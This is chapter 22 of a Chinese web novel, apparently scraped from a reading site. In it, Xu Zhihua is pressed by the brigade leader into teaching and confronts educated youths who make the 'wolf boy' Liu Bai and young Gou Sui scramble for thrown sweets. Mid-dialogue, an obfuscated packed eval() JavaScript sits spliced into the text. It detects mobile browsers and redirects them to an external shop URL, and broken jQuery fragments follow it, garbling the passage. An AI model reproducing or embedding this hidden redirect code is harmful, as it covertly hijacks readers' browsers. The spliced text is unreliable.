22. 病秧子X狼少年
    刘白喜欢和徐康荣呆在一起。

    每当他被徐知画打得痛痛,事后徐康荣都会温柔地给他上清清凉凉的药缓解疼痛。

    就像现在,从镇上回来后,只有徐康荣关心他的伤口、帮忙敷药,而其他人则目光带着谴责看他。

    特别是当蔡淑芬得知一百块就这么打水漂,更是现场展示了什么叫河东狮吼,叽里呱啦不带重样骂人的话轰炸着耳膜。

    一百块,就像是笼罩在头顶上的乌云,低气压在弥漫。

    虽然现在家里也拿得出一百块,但这不是小数目,哪怕徐知画一再表明会自己想办法赚钱,但没人相信。

    毕竟要她下田都赚不了几个工分,相处的这段时间,除了会读书认字,也没见过她展示什么才能。

    钱是不会凭空出现的。

    “事已至此,多说无益,刘白也算是我们家的一份子,总不能真的看他被送去派出所,我这还有些存款,可以拿出来还。”徐康荣打着圆场,“他也受到惩罚,知错了。”

    蔡淑芬看了看身上伤痕一道道的刘白,想着这狼崽子真不是寻常人,不仅伤好得快,还有一身蛮力,好好培养,是个干活的好手。

    “以后他要是长期在我们家住,也要去赚工分。”蔡淑芬说。

    对此,徐知画没有异议,现在一家还在温饱挣扎,不能只谈梦想,不看实际,她也要好好筹划赚钱之计。

    而因为见识过徐知画杀鸡儆猴的“厉害”,又被家人压着,在空闲之余,狗岁也不再跟着小伙伴招猫逗狗满山跑,老老实实跟着读书认字,又因为学得比刘白快,有了对比,自豪感更是噌噌噌往上涨。

    狗岁很喜欢看刘白因为答错问题被惩罚的样子。

    每每这时,他总会取笑挑衅扮鬼脸:“这么大的人了,连小孩都比不过,略略略——”

    刘白:……

    就很气!

    *

    日历撕了一天又一天,星期日如约而至。

    知青点门前一块空地上,十几个知青围成一个圈席地而坐,中间摆着一些干果糖果之类的小零嘴,一张写着“读书会”的大纸被挂在旁边的树枝上飘扬着。

    徐知画带着刘白和狗岁到场时,陈豫周正意气风发地侃侃而谈着——

    “……‘我一生最大的爱好是读书。’多么伟大的爱好,我们要学习伟人活到老、学到老的勤学精神,读书可以更好地认清前行方向……”①

    “可是书有分好坏,我们应该读什么书?”在陈豫周说完他的观点后,有人问道。

    陈豫周对此早有准备,娓娓道来:“如果一本书让你受益匪浅,能指引你到光明的道路……”

    除了分享学习伟人的语录,还从陈述观点到辩论观点,每个人的发言带来了思想的碰撞。

    而陈豫周言之有物,更是收获了不少热烈的掌声。

    本来徐知画带两人来是长长见识,听听他们读书人是怎么高谈阔论,学习说话的艺术,没想到刘白和狗岁的注意力全落在那些零嘴上。

    那引领而望就差流口水的模样简直没眼看,正想提醒他们注意点,有人点名徐知画也来发言几句。

    徐知画装作怯懦的样子,连连摆手:“不了不了,我见识浅薄,不知道要说什么,今天我先来学习,下次再发表言论。”

    她可无意出风头,有时辩论起来没完没了,并不想费那心神,而且万一说错什么,被人抓到话柄,这年代也是很严重的。

    “大家还是别为难她了,她半天憋不出一个屁,在学校时考试就没及格过,是有名的垫底生。”张二乔不屑道,不明白像陈豫周这样文采斐然的人,怎么愿意带这样上不了台面的小跟班玩。

    “这更要学习伟人的语录了,多说多背,你会有所感悟。”另一个女生看着徐知画说。

    “好好好,我这不在学着嘛,我以伟大的毛**主/席为榜样,永远学习他的精神。”徐知画顺着说,“你们继续,现在我也要向你们学习。特别是陈豫周同志,我听了你的发言,感觉有一股力量充满了全身。”

    听了这话,陈豫周下意识挺了挺腰,眼睛里闪烁着得意的光茫。

    她如此真诚认真,众人倒不好再说什么,再再为陈豫周的发言喝彩鼓掌。

    张二乔本想着会看到徐知画像以往那般自卑低落,遭人取笑,没预料到她四两拨千斤就把话题岔了过去,那淡定自如的模样狠狠刺痛了眼。

    还想再挑起风波,这时却见一个社员跑过来,气喘吁吁道:“龟妹,大队长找你有事,在村委会,你赶紧去。”

    徐知画看了看刘白和狗岁,犹豫着要不要让他们先回家,陈豫周见此,说道:“你就让他们在这学习吧,有我们看着,没事。你和大队长聊完了,我们可能还没结束呢。”

    “行。”徐知画看着乖乖呆坐着的两人,叮嘱了几句,就和社员一起走了。

    *

    来到村委会,徐开鸿正埋头在纸上写着什么,徐知画敲了敲门,得到允许后才进去。

    “请坐。”徐开鸿伸手示意道。

    徐知画还等着后文呢,谁知道他说完这两个字后,就陷入了沉默,视线打量着她。

    “大队长,你找我有什么事吗?”徐知画被看得发毛,主动破冰。

    “不错,养得比刚见时,气色好多了。”徐开鸿目光和蔼地点着头。

    “大队长,我感觉身体还是很虚,还需要再养养。”徐知画猜测着不会又让她下地干活吧,她这小身板可受不住啊。

    “放心,不是让你下地。”徐开鸿看穿了她的心思,幽幽道,“大队小学有位老师过几天要嫁人了,看在你教育狼孩还算有成效的份上,我想把这个名额给你。”

    “大队长,我恐怕胜任不了。”教刘白一个都要发狂了,再教那么多学生,她感觉真的要命。

    徐开鸿脸色一沉,长篇大论张口就来:“你看你这肩不能扛,手不能提,当老师是很好的选择了,多少人想当都没这个文化当,你有这个机会,却不懂得珍惜。”

    “再说,建设美好大队,是每一个社员的义务,你这思想觉悟啊,还需要再提高。伟人都说了,‘同学们毕业后,要更努力地工作。一方面不要偷懒,这个机会主义的倾向是要不得的,我们应该积极工作,艰苦奋斗。’你看你这态度,年轻人有手有脚,不能只想着呆在家里啃老……”②

    “你之前可还说了,愿意将热血洒在这片土地上,现在组织看好你,大队需要你,结果你就这般推托?”

    徐知画还想说什么,却听他拍案道:“两个选择摆在你面前,下地还是当老师?”

    一副不容分说的样子。

    徐知画将原本想说的话咽了回去,说:“老师,我选老师。”

    “好,那你这几天准备一下。”徐开鸿面色由阴转晴,从底下抽屉拿出一叠画纸、一盒颜料和两只狼毫笔,说,“这是我上次去县里开会,程阳同志托我带回来给你的东西,看这架势,你真会画画?”

    “谢谢大队长。”徐知画脸上的笑容灿烂如花,点头道,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143614|150209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “当然,画画是我的看家本领。”

    徐开鸿想到了什么,说:“改天帮忙画一幅画行不行?如果画得好的话,我会酌情给予你一些奖励。”

    “行,没问题。”徐知画说。

    *

    徐知画兴高采烈地捧着画画的工具往知青点走,路上见到人也主动打招呼,愉悦的心情在见到刘白和狗岁之后,像美丽的泡泡,“啵”一下碎掉了。

    知青们拿着零嘴糖果,像逗狗般扔过来扔过去,引得两人跑过来跑过去,毫无形象争抢着那一点点吃的。

    哪怕掉到地上,脏了,也毫不在意塞进嘴巴里。

    “狼孩,接着。”张二乔抛起一颗糖果,刘白纵身一跃,用嘴叼住,美美地吃起来。

    “好样的!再来一次!”有人欢呼。

    “我也要!我也要!”狗岁不甘示弱,眼巴巴地看着别人手中的糖。

    “那你们比一比,看谁厉害,谁抢到就是谁的。”张二乔洋洋得意道,眼神轻蔑,很享受这种训狗般高高在上的感觉。

    “够了!很好玩吗?!”徐知画一声怒喝打断了他们玩乐的氛围,“刘白!狗岁!回家!”

    “我还要糖果!我还要玩!”狗岁见他们停了,大喊大叫道,“我不要回家!我要在这里玩!”

    刘白也是目光渴望地看着那点吃的,不想回家。

    两人摇尾讨欢的模样要多谄媚就多谄媚,徐知画气得牙痒痒的,看向始作俑者,怒瞪着眼:“他们不懂事,你们也不懂事吗?这样戏耍别人好玩吗?”

    看着她生气的脸,陈豫周讪讪地解围道:“就是在玩游戏,大家玩得都挺开心的。”

    徐知画走过去,二话不说抢过他手中的糖,然后往上抛,随后呈一条弧线落地。

    “既然是在玩游戏,那你怎么不用嘴接?掉到地上了,你怎么不会捡起来吃?”她气极反笑道。

    偏刘白看到地上的糖,身形如一阵疾风冲过来,毫不犹豫捡起来吃掉了,还傻乎乎地咧着嘴笑。

    “你看,这可不是我们教他的,他自己乐意捡地上的东西吃。”张二乔挑衅地笑了笑。

    “他们不懂维护自尊,但我懂,你们也心知肚明。做出这样的行为,你们根本就没将伟人的思想学明白,道貌岸然的伪君子。”徐知画冷讽道,视线扫了一圈。

    “你这么说过分了吧,开个玩笑而已,有必要这样说吗?”有人恼怒道。

    “我也开个玩笑而已,你们心里没鬼,对号入座什么呢?”徐知画眼神轻轻瞥过去,却似有千钧之力,压得人心头一沉。

    气氛一下子凝滞,又彷佛有一把火烧起来。

    “给我个面子,今天大家聚在一起可不是想吵架的,本来想玩玩增进彼此的情谊,你不喜欢,下次不玩就是。”陈豫周一脸为难样。

    这话说得仿佛是她无理取闹,非要挑拨大家感情一样,然徐知画并无半分心虚,直视着他的眼睛:“开这样的玩笑,你们也没给我面子。”

    知道他们是什么样,以后远离就是。

    徐知画再次看向两人:“刘白!狗岁!我再问一次,回不回家?”

    她的眼神简直要化为刀子杀人。

    刘白和狗岁怂了,见她转身就走,也赶紧跟上去。

    “你们两个笨蛋,被耍得团团转还不自知。”徐知画怒其不争。

    “我们不是笨蛋。”狗岁辩驳,一脸憧憬,“糖真好吃呀!真想每天都有糖吃。”

    “好吃,糖好吃。”刘白也接嘴道。